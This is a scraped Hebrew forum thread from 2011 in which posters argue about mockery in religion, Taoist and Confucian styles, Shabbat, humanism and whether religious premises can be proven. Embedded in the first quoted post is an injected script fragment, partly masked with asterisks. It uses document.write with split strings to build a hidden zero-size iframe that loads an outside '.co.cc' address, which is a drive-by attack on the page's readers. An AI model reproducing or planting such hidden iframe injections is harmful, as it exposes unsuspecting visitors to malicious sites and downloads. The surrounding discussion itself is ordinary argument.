|
|
| נשלח ב-22/11/2011 22:37 |
|
| |
| מיימוני כתב: |  | א. ליצנות מועילה ומומלצת. כגון ליצנות של עבודה זרה... ב. ליצנות משמחת... ג. ליצנות ששמה ללעג את החשוב, היקר ולפעמים הקדוש... ד. ליצנות במובן של התייחסות לא רצינית ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");> |
|
אולי יש עוד. יש שתי תפיסות סיניות פילוסופיות מרכזיות: קונפוצייניזם, ודאואיזם. זו של קונפוציוס היא תפיסה מאד מובנית וביורוקרטית: יש סדר טבעי וקשיח לשמיים (= יקום), ממנו מוקרן סדר טבעי לאדמה (= ביורוקרטיה הממשלתית), ממנו למשפחה, ממנו לאדם, וכו'. הסגנון של הקלאסיקות הוא בהתאם: יש מבנה מאד קשיח ומסודר לדברים. הדאואיזם היא תפיסה שמעלה על נס שלילה של פורמליות, אינטואיטיביות, תפיסות לא מקובלות של אינטראקציה בין מעלות לחוסר תועלת, וכו'. סגנון הקלאסיקות הוא פרוע וזורם בהתאם. בספר השני בחשיבותו בדאואיזם, ג'ואנגדזה (זה שחלם שהוא פרפר, למי שמכיר), יש מספר דיאלוגים (מומצאים) בינו לבין קונפוציוס. כותב הספר החליף, כבדיחה, את התפקידים ביניהם: ג'ואנגדזה דווקא מציג את תפיסות הקונפוציאניזם בשפה מאד מסודרת וברורה, וקונפוציוס, דווקא, עונה לו בנונסנס העליז של הדאואיזם. לפי חלק מהפרשנים, הבדיחה נועדה "לנער" את הקוראים הקונפוצייניסטים - השוק של החלפת התפקידים אמור לבלבל אותם רגעית כדי שייצאו מהחשיבה המסודרת וצורת הטיעון המסודרת שהם מכירים.
|
|
|
|
| נשלח ב-22/11/2011 23:13 |
|
| |
יהיאור גנבת לי הרבה מילים מהפה ותודה לך על כך כיון שאני בעצמי הרבה פעמים חושש שהדברים שכתבתי לא כתובים מספיק ברור בנקודה אחת כתבת שלא ברור לך שהגדרתי נכון את המושג ליצנות, אשמח אם תרחיב פרזנט האל החילוני והאל הנוצרי זהים מבחינת המשמעות שלהם אלא שהנוצרי נצלב ואילו החילוני סתם מת מיתת נשיקה.. האלילים אליהם התכוונתי הם אלו הרלוונטיים והם הקנאה התאווה והכבוד ששולטים ללא מיצרים אצל חסרי דת באופן כללי אנשי מדע בדורות הקודמים המציאו לעצמם אל חדש שנקרא הומאניות ודברים דומים שהם יותר מדעיים ופחות קשורים למציאות החיים עצמם ולכן הרלוונטיות שלהם אם יש בהם משהו היא למחצה לשליש ולרביע ולכן היא נקראת עבודה זרה בשיתוף כך שלא נראה לי שהיא פלטפורמה שיש מקום לאמץ מתוך בחירה מודעת באופן כללי משמעות התורה היא נבואה שבו הנביא רואה את הראוי להיות מתוך שהרצון מכוון לתיקון העולם וכך הוא גם דמות האל בתורה באופן כללי שהאדם שותף לו ברצון הרצונות שבבסיס מציאות הבריאה כמה נקודות באופן עקרוני וכללי לא באתי כאן להוכיח אף אחד באופן אישי כיון שברור לי שבנושאים שנוגעים לעיקרי התורה שרוב הדיונים כאן עומדים סביבם הם דברים שאין טעם להתווכח עליהם לכן בדרך כלל אני לא כותב דברים שאין לי בהם תועלת אישית בבירור שלהם לא באתי כאן לתקן את העולם ולכן אני אכן רואה בכותבים כאן אישיויות ווירטואליות לחלוטין וההתייחסות שלי לדברים הוא רק במה שהדברים נוגעים אלי אישית ועליהם אני מגיב "אין אדם עומד על דברי תורה אלא אם כן נכשל בהם" ההבנה של התורה היא בעיקר על ידי האפשרות להיכשל בה וללמוד מתוך הכישלון עצמו את האמת העמוקה יותר שברובד הפנימי יותר ובשביל זה חשובים הקושיות כיון שרק בהם יש את הסולם והיכולת להבין מעבר לרמה השטחית של הדברים החלק הפנימי של התורה עליו התורה מבוססת לא נמסר במודע אלא בהגדרה הוא מיועד לחכם ומבין מדעתו התנאי הראשון הוא יכולת הבנה ואילו השני הוא הרצון להבין שהוא השאיפה לעמוד על המציאות ברמה של התכליתיות האפשרית שיש לנו יכולת לתפוס ולכן אין שום אפשרות לעמוד על האמת התורנית של המציאות אילולי הרצון הכנה במשמעות דבר שהליצנות מנוגדת לו מהבחינה הזאת ההבנה הבסיסית על העולם באופן כללי היא שאין בה דבר שהוא ללא צורך כיון שאין דבר שלא משפיע על איך ההכרה שלנו מעוצבת ולכן הכול הוא בר משמעות מחייבת כת הליצנים היא כת נפרדת מרוב העולם אם כי בזמן האחרון יש לכת הזאת השפעה הרבה מעבר לכוח הסגולי שיש לה באמת וכן אפשר לראות בה חשיבות בשביל ביעור אלילים מיותרים מהעולם הכת הזאת אמנם אינה יכולה לקבל פני שכינה אבל יכול להיות בה צורך לעולם כאמצעי למטרה חשובה יותר כנ"ל
 |
|
|
|
|
| נשלח ב-22/11/2011 23:42 |
|
| |
| thepresent כתב: |  | יהודים
אתה באמת רואה ביופיו של שולחן שבת טיעון כלשהו בדבר מחויבות לדת היהודית האורתודוקסית?
אנא פרט. |
|
טיעון למחויבות? ממש לא. אבל זהו טיעון המציג כי דרך החיים היהודית מקדשת את חיי הרוח המשולבים בחומר, שולחן השבת מספק תענוג חמרי ורוחני כאחד. והוא שומר את החוויה המשפחתית (המביאה בהמשך לנאמנות כללית, ואין כאן המקום להאריך. ובקצרה: זה מתקשר לעבד שאין לו ייחוס ומשפחה ולכן פסול לעדות, אדם המחובר רגשית אל משפחתו הופך גם ליציב בנפשו ומחוייב לערכים, ניתן לחלוק אך לא באתי לדון בכך כאן) תוך שילוב עם החוויה האלוהית.
אדם הנפגש בסמינר בשולחן השבת המקסים אינו אמור לראות בה "הוכחה" או "מחוייבות", מה שמרשים בפועל את האנשים היא שהיהדות מאזנת ומשלבת בין רוח לחומר תוך נתינת זכות קדימה לרוח, ושהיא מביאה את האדם לעליונות לפיה הוא יכול לעצור את מרוץ החיים עבור הערכים.
כך לפחות התרשמתי מתגובת לקוחות חילונים שלי שהודעתי להם (וגם קיימתי...) שבימי שישי ושבת איני זמין שאני מקדיש אותם לחיי המשפחה.
|
|
|
|
| נשלח ב-22/11/2011 23:53 |
|
| |
למיימוני הכותבים כאן גם סטו ר"ל מנושא הליצנות לנושא שולחן שבת.
למה פה אינך מציע לפתוח אשכול חדש לנושא שולחן שבת כמו שעשית באשכולך?
|
|
|
|
| נשלח ב-23/11/2011 10:25 |
|
| |
יהי, כמנהג מי שאין לו מה לומר לגופו של דבר, אתה עוסק בהטחת דברים חסרי שחר. החל מ"שהרי כבר החלטת שאין בדת כלום. ולדרכך בוודאי שלא תמצא אף פעם הוכחה לדת [או לשום דבר אחר]" כאילו ואתה פתוח לכל האפשרויות... עבור דרך סילוף ואי הבחנה בין איך מתמודדים בפועל עם בעיית משמעות החיים, לבין השאלה האם ומהי אותה משמעות, ובין הצעה רטורית לבין הצעת עמדה ("וכבר הגדת לנו שהתכלית הוא אכילה ומין") האשמת מי שמעז ח"ו לדרוש ממך עמידה מינימלית בקריטריונים של דיון "בהפקרות וקלות הדעת", וכלה בהצגת העמדה המנסה להבין האם יש משמעות בדת ואם כן מהי, כ"ליצנות". אין לך ליצנות גדולה מזו. באשכול סמוך ניסיתי להתקדם עם כל הנחותיך אודות קיום אלוהים ורצונו להתערב וההכרח בתכלית. רק שאלתי איזה תכלית הדת מציעה ומה יש לה להוסיף מעבר לעשיית הישר והטוב. זה לא היה בלתי צפוי שלא תשיב על כך. כפי שאינך משיב על כל שאלה המרימה את מסך הערפל אותו אתה מפזר סביב עמדותיך, בכישרון רב. (דוגמת הטענה כי אם הדת מבוססת על הצורך במשמעות ואתה טוען כי אם יש צורך בתכלית נגזר מזה ממילא שיש תכלית, מה בינך לבין שותפי, למעט העובדה שהוא מספיק הגון כדי לטעון זאת במפורש ואינו מנסה לטשטש ולעמעם וליצור מצגת של כאילו טיעונים חיצוניים, שאינם נובעים רק מהצורך בתשובה. איך אמרת? "נאמנות לעצמך"). מה טעם לשאול שאלה, לטעון שמי (בעצם, רוב העוסקים בפילוסופיה) שעדיין עוסק בשאלה כיוון שלא מצא, לצערו הרב, תשובה רצינית, הוא בהמה, (אגב, גם לבהמה אין לייחס שרירותית דין "מורידין ולא מעלין"...) מבלי לענות עליה תשובה אנושית. וכי לא השכל, הוא מותר האדם מן הבהמה? כדי שהדת תיתן תשובה לשאלת התכלית, עליה להיות או מוכחת או מובנת. אחרת, מה בינה לבין כל ריטואל או מנטרה שהאדם יבחר כדי לצקת תכלית ומשמעות לחייו? כמה שאני מנסה לברוח מזה, ריח עז של דת השכונה מכה באפי.
יהי,
אין טעם להסתפק בלמה? ככה! הפינוק האמריקאי המוכר. זה כך, כי אני רוצה שזה יהיה כך. אם אני טועה ויש לך מה להגיד, הגד נא. (אם באשכול "בשביל מה אנו חיים" או בכל אשכול שתמצא לנכון).
תוקן על ידי ייתכן ב- 23/11/2011 10:27:18
 |
|
|
|
|
| נשלח ב-23/11/2011 11:07 |
|
| |
| ייתכן כתב: |  | | הרב מיימוני, לכשעצמי איני סבור שמאן דהו משתמש כאן בליצנות ככלי חליפי לטיעונים, בוודאי שלא פרזנט. ניתן להסכים עמו, ניתן לחלוק, אי אפשר להתעלם מההיגיון והלוגיקה שבטיעוניו, המלווים לעתים בהומור משובח לטעמי. |
|
ייתכן מה אתה אומר על כל התאוריות של הנוכחי מבית מדרשו של פינקלשטיין
זה נשמע לך סביר הגיוני מסתדר לך בראש?
|
|
|
|
| נשלח ב-23/11/2011 12:49 |
|
| |
| xibolaiyu כתב: |  | | ישנו ספר של הסמיוטיקאי אומברטו אקו,
שם הוורד, בו הוא דן במקומו של הצחוק והליצנות בדת, בהגיון, ובכלל - זהו נושאו המרכזי של הספר. דעתו של פותח האשכול נשמעת לי דומה לזו של יורגה - הספרן. חיפשתי קצת באינטרנט למצוא תמליל (או לפחות תקציר) של הדיאלוגים בין וויליאם ליורגה - לדעתי יש להם רלוונטיות רבה כאן - אך לא הצלחתי למצאם, ואין לי עותק של הספר. אולי מישהו אחר יכול להביאם?
|
|
|
|
|
|
|
| נשלח ב-23/11/2011 12:52 |
|
| |
| דייר כתב: |  | | ייתכן:
הרב מיימוני, לכשעצמי איני סבור שמאן דהו משתמש כאן בליצנות ככלי חליפי לטיעונים, בוודאי שלא פרזנט. ניתן להסכים עמו, ניתן לחלוק, אי אפשר להתעלם מההיגיון והלוגיקה שבטיעוניו, המלווים לעתים בהומור משובח לטעמי.
דייר: ייתכן מה אתה אומר על כל התאוריות של הנוכחי מבית מדרשו של פינקלשטיין
זה נשמע לך סביר הגיוני מסתדר לך בראש?
|
|
לדעתי דייר מעלה כאן נקודה מאד מעניינת לגבי צחוק, ולגבי המגבלות שצחוק אולי כופה עלינו לגבי הכרעות רציונאליות.
אני בטוח שחלק מהדווחים הראשונים לגבי מטוס-כבד-מאוויר מעופף התקבלו בצחוק. היום הפקפוקים לגבי מטוס מעופף מתקבלים בצחוק. אולי בניגוד לחלק מהדעות כאן (בודאי בניגוד לדעתו של דייר כפי שאני מבין אותה), נראה לי שבהתאם לפרטים הספיציפיים בשתי העובדות הקודמות, בהחלט אפשרי שהמסקנה הרציונאלית והסבירה היתה קודם לפקפק בדבר מטוס, לאחר מכן לפקפק לגבי שלילתו, אין שום סתירה בין שני הדברים (על אף המסקנות ההפוכות), והאתגר הוא איך להישאר עקבי ברציונאליות ולאו דווקא עקבי במסקנות.
מה תפקידו של הצחוק בכל זה? האם הצחוק פשוט מבטא את דעתנו השקולה ששמענו משהו מאד לא סביר, או שמא הצחוק בעצמו אולי מונע מאתנו להבין שהמסקנה הסבירה השתנתה דרסטית? אשמח לשמוע את דעתכם (כולל דייר, כמובן).
תוקן על ידי xibolaiyu ב- 23/11/2011 12:54:39
|
|
|
|
| נשלח ב-23/11/2011 12:57 |
|
| |
יוסף לפיד כתב שהדגדרת דמגוג בישראל היא נואם מזהיר השייך למפלגה השניה. עד כאן המשל, את הנמשל אין צורך להסביר.
|
|
|
|
| נשלח ב-23/11/2011 13:02 |
|
| |
| אזנים_לכתל כתב: |  | ישנו ספר של הסמיוטיקאי אומברטו אקו,
שם הוורד, בו הוא דן במקומו של הצחוק והליצנות בדת, בהגיון, ובכלל - זהו נושאו המרכזי של הספר. דעתו של פותח האשכול נשמעת לי דומה לזו של יורגה - הספרן. חיפשתי קצת באינטרנט למצוא תמליל (או לפחות תקציר) של הדיאלוגים בין וויליאם ליורגה - לדעתי יש להם רלוונטיות רבה כאן - אך לא הצלחתי למצאם, ואין לי עותק של הספר. אולי מישהו אחר יכול להביאם?
|
|
תודה רבה! אבל אישית אני סבור שהספר מוסיף המון על הסרט, במיוחד לגבי נקודה זו.
|
|
|
|
| נשלח ב-23/11/2011 13:21 |
|
| |
שיבולת הצחוק הוא תוצאה לא גורם.
|
|
|
|
| נשלח ב-23/11/2011 13:38 |
|
| |
| דייר כתב: |  | שיבולת הצחוק הוא תוצאה לא גורם. |
|
דייר, למען ההבהרה: לא התכוונתי במקרה הספיציפי הזה, אלא באופן כללי, מצידי אפילו בצורה שאינה מקרינה כלל על מקרה זה. הרי אם מדובר במקרה הספיציפי הזה, אז כל מה שכתבתי הוא ניסוח אחר ל"האם דייר טועה או לא? מה דעתך דייר?".
|
|
|
|
| נשלח ב-23/11/2011 20:18 |
|
| |
יעקב כתב:
"האלילים אליהם התכוונתי הם אלו הרלוונטיים והם הקנאה התאווה והכבוד ששולטים ללא מיצרים אצל חסרי דת באופן כללי " הייתי שמח אם בפורום שנועד לברר את האמת לא ישמעו השמצות חסרות שחר על ציבורים שלמים. עוד לא ראיתי שום הבדל בין דתיים וחילוניים בנושא זה. רוב האנשים בעולם בכלל בלי שום קשר לדתם הם מוסריים ואינם רדופי קנאה ותאווה או רודפי כבוד.
עוד הוא כתב: "אנשי מדע בדורות הקודמים המציאו לעצמם אל חדש שנקרא הומאניות ודברים דומים שהם יותר מדעיים ופחות קשורים למציאות החיים עצמם"
להומניזם אין קשר למדע ובוודאי שלא אנשי המדע המציאוהו.
|
|
|
|
| נשלח ב-23/11/2011 21:37 |
|
| |
ייתכן יפה מאד לקבוע שכל מה שכתוב כאן הם דברים חסרי שחר. כמו שאמרתי לך כבר, מי שלא רוצה לקרוא מה שכותבים ולחשוב אולי כתוב פה משהו שלא חשבתי עליו כבר, ורוצה כל הזמן אך ורק לטעון שוב ושוב את ההנחות שלך, אין לי מה לדבר איתו.
נלאתי מלהסביר לך עוד הפעם שלא דברתי באשכול זה כלל וכלל על מסקנות שהופכות את האדם ללא אנושי, אלא על הנחות. וכידוע ללא הנחות אין סיכוי להגיע לשום מסקנא מובנת לוגית. אם אתה תתעקש לעולם על הוכחת ההנחות [במה. בעוד הנחה? ובסופו של דבר אתה נידון לרדוקציוניזים אינסופי] לא תוכל להגיע לכלום. וסך הכל טענתי שיש הנחות מסויימות שהופכות אותך לאנושי. איפה ראית באשכול זה קשר לדת כל שכן לאיזה דת מסויימת שאתה כבר תוק אותה?
היה צפוי שתטען למה באמת לגזור מורידין על בהמה. ואפילו חשבתי להקדים רפואה למכה. בכל אופן בינתיים אני ואתה [אני מניח] שוחטים ואוכלים בהמות.
דרך אגב לפי הבנתי השבתי לך על שאלתך איזה משמעות ניתן למצוא בדת. וגם לטענה ההיא לא התייחסת כדרכך שאתה מסמן את העיגול איך צריך להיראות הדת וההוכחה שלה וממילא מכיון שזה אי אפשר מסיק שהכל שטויות.
כל תשובה מוכחת מההכרח שבשאלה. לא הבנתי במה שונה השאלה מהו התכלית. כל הסבר מבוסס על ההכרח שיש הסבר. אם תמצא בעולם מסקנא שלא מבוססת על הנחות תגיד לי. נראה שהמשיח יבא קודם. ומכיון שכך, נשארנו בזה שיש לנו לבחור את הנחותינו ולבנות לפיהם את המסקנות. איך בוחרים הנחות? לזה הצעתי כאן שיש לעשות את זה לפי ההנחות שהופכות אותנו לבני אדם השונים מבהמות. [וסליחה ממגיני הבהמות..] מי שממאן בהנחות אלו. כבר אמרתי מה דינו.
אבל טוב, אתה הרי לא רוצה להתייחס למה שכותבים ועדיין מחפש איזה הוכחה שלא נבנית על הנחות, ובכלל מאד ברור מה יש לך להגיד וכל מי שמנסה לטעון טענה שלא משתלבת עם התמונה שציירת מיד מריח לך כ"דת השכונה". אז שיהיה.
 |
|
|
|
|
| נשלח ב-23/11/2011 21:56 |
|
| |
ולגבי טענת "הערפול הכשרוני" תסלח לי, אתה רוצה תשובה ברורה וקצרה. הנה הוא, ה' נתן תורה בהר סיני והיא אמת וצדק וזה הכל. אם אתה מבקש תשובה יותר מובנת אז אין לך ברירה אלא לקבל תשובה מורכבת. קל מאד לדרוש תשובה דמוגוגית פשוטה, ולהניח שזו היחידה שיכולה לעבוד, ומכיוון שאין כאלה, או שכל אלו שהם כאלה הם לא מדוייקות, להסיק שאין הוכחה. אבל במחילה, לא לזה קוראים יושר.
אתה רוצה תשובה פשוטה לשאלה מה המשמעות והתכלית הדתית. הנה הוא: לעבוד את ה'. אתה מרוצה מכך,? זה פותר לך איזה שאלה? כנראה שלא, אז חזרנו שצריכים להסביר את זה במילים יותר מורכבות ו"מעורפלות". אגב, גם לשאלה זו התחלתי להשיב באשכול ההיא, אלא שהפסקתי מתוך שלא התחלת אפילו לקרוא ולשאול לגבי מה שכתבתי.
השכל הוא מותר האדם אם הוא מכוון לתכלית מסויים. אם לא סתם חבל על המכונה המיותרת הזאת. והשכל שהוא מותר האדם הוא לא השכל האנליטי שמחשבים מתמצאים בזה יותר מבני אדם. והרי אתה מסכים איתי שחכם גדול שהוא מושחת מוסרית לא יציל אותו חכמתו להיחשב בכל בני אדם. בקיצור, השכל הוא חשבו ומבדיל את האדם, אבל צריך גם הגדרה מינמלית של מה הוא עושה עם זה להיחשב בכלל זה.
לגבי הטענה אם אני פתוח לכל אפשרות. כבר הצהרתי ואצהיר עוד שאכן כך. כמובן אתה לא חייב להאמין לי, מה לעשות שזה מפריך את התיאוריה המנצחת שלך אודות דת השכונה. אז כמובן שהתיאוריה תנצח את הנתונים, אבל זה מה שיש.
הסברתי יותר מפעם אחד למה אני רואה שכבר החלטת. ואודות החילוק בין איך מתמודיים בפועל עם בעיית המשמעות לבין מה זה מחייב, על זה כבר דנו באריכות באשכול ההיא. בכל אופן אתה זה שאמרת שאין דבר רע בליהנות מאכילה ומין ואולי זה התכלית נכון שזה רק אולי, אבל אצלך אין דרגה יותר מאולי, אז יוצא שזה מה שיש. כמובן שאתה תכחיש את זה, מכיוון שגם אתה יודע ברור שזה לא יכול להיות, רק שאין לך את היושר להסיק את המסקנות שיוצאות מזה.
 |
|
|
|
|
|